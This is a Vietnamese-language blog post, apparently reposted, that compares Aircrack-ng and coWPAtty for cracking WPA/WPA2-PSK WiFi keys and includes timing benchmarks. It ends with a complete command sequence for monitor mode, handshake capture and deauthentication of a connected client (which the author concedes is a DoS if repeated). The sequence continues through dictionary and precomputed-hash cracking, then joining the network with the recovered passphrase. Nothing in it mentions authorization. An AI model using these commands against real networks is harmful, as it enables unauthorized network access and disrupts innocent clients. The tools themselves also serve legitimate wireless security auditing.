Crack WiFi – WPA/WPA2 (Aircrack-ng vs coWPAtty)

Mở đầu

Ad sẽ so sánh việc dùng  Aircrack-ng versus coWPAtty bằng thời gian để bẻ khóa mã dùng WPA2 PSK

Các công cụ AD sẽ dùng ở đây là

• Aircrack-ng (Dictionary Attack)
• Aircrack-ng & airolib-ng (Pre-computed hashes)
• coWPAtty (Dictionary Attack)
• coWPAtty & Genpmk (Pre-computed hashes0

---

Phương pháp

Để thực hiện bẻ khóa WiFi sử dụng WPA/WPA2 PSK thì bạn cần phải bắt được gói tin ‘Handshake”. Cách tốt nhất để làm được việc này là chúng ta sẽ kết nối và ngắt kết nối một client liên tục đang ở trong mạng.( Nếu cứ liên tục làm bước này thì là bạn đang DoS đến client đó !

Khi bạn đã bắt được key Handshake thì bây giờ việc duy nhất bạn cần làm đó là thực hiện Offline Dictionary Attack. Nếu key có trong từ điển thì bạn chỉ việc đợi cho phần mềm tìm ra key đó là xong. Và ngay sau đó bạn có thể truy cập vào mạng đó.

Tuy nhiên cách này có hai nhược điểm đó là :

• Phải có client đang kết nối với mạng đó
• Key phải có trong wordlist

Bạn có thể tăng tốc bằng việc tạo ra những pre-calculated hash từ các wordlist.

Bạn có thể xem bảng sau để có thể thấy nó đã nhanh hơn như thế nào :

Phần mềm	Thời gian (giây)	Keys Per Second	Pre Calculate Time (Seconds)
AirCrack-ng	256.2	652.94	0
AirCrack-ng & Airolib-ng	2	65685.4	1162.2
Cowpatty	787.71	205.35	0
Cowpatty & Genpmk	1.25	129715.92	1228.06
AirCrack-ng & Airolib-ng	1164.2	65685.4	1162.2
Cowpatty & Genpmk	1229.31	129715.92	1228.06

• Từ điển có 311141 dòng (3.33M (3,499,543 bytes))
• Mật khẩu chính xác nằm ở dòng: 202762.
• Phần mềm cần test đến 65.1% từ điển.

Và chúng ta có thể thấy được rằng Aircrack-ng tốt hơn khi dùng với dictionary attack, trong khi đó  coWPAtty & Genpmk thì lại xử lí tốt hơn với những Pre-computed hashes (Và phải mất thời gian hơn để có thể tính toán điều này!)

---

Các công cụ cần thiết

• Aircrack-ng
• Card WiFi có hỗ trợ monitor mode
• File từ điển mật khẩu
• POWER   Time    và não của bạn  

Và link tải

1.Tên: Aircrack-ng

Phiên bản: 1.2-rc3

Trang chủ: http://www.aircrack-ng.org/doku.php

Here

2.Tên: coWPAtty

Phiên bản: 4.3

Trang chủ:  http://www.willhackforsushi.com/?page_id=50

Here

Các câu lệnh thực hiện:

[code language=”python”]
airmon-ng start wlan0

airodump-ng mon0

airodump-ng –channel 5 –write output –bssid 00:24:B2:A0:51:14 mon0

aireplay-ng –deauth 1 -a 00:24:B2:A0:51:14 -c 00:14:17:94:90:0D mon0

aircrack-ng output-01.cap -w /root/tools/dictionaries/webster-dictionary.txt

airolib-ng crackwpa –import passwd /root/dictionaries/webster-dictionary.txt

airolib-ng crackwpa –import essid essid

airolib-ng crackwpa –stats

airolib-ng crackwpa –clean all

airolib-ng crackwpa –batch

airolib-ng crackwpa –verify all

aircrack -r crackwpa output-01.cap

cowpatty -s anonymousvn -r /root/output-01.cap -f /root/dictionaries/webster-dictionary.txt

genpmk -s anonymousvn -d /root/output-hash -f /root/dictionaries/webster-dictionary.txt

cowpatty -s anonymousvn -r /root/output-01.cap -d /root/output-hash

wpa_passphrase anonymousvn precivilization > wpa.conf

wpa_supplicant -Dwext -iwlan0 -c /root/wpa.conf

dhclient -r

dhclient wlan0

ping 192.168.1.1
[/code]

Và đã xong  Chúc mọi người thành công, và luôn ủng hộ blog nhé ^^

Nguồn : AnonyVN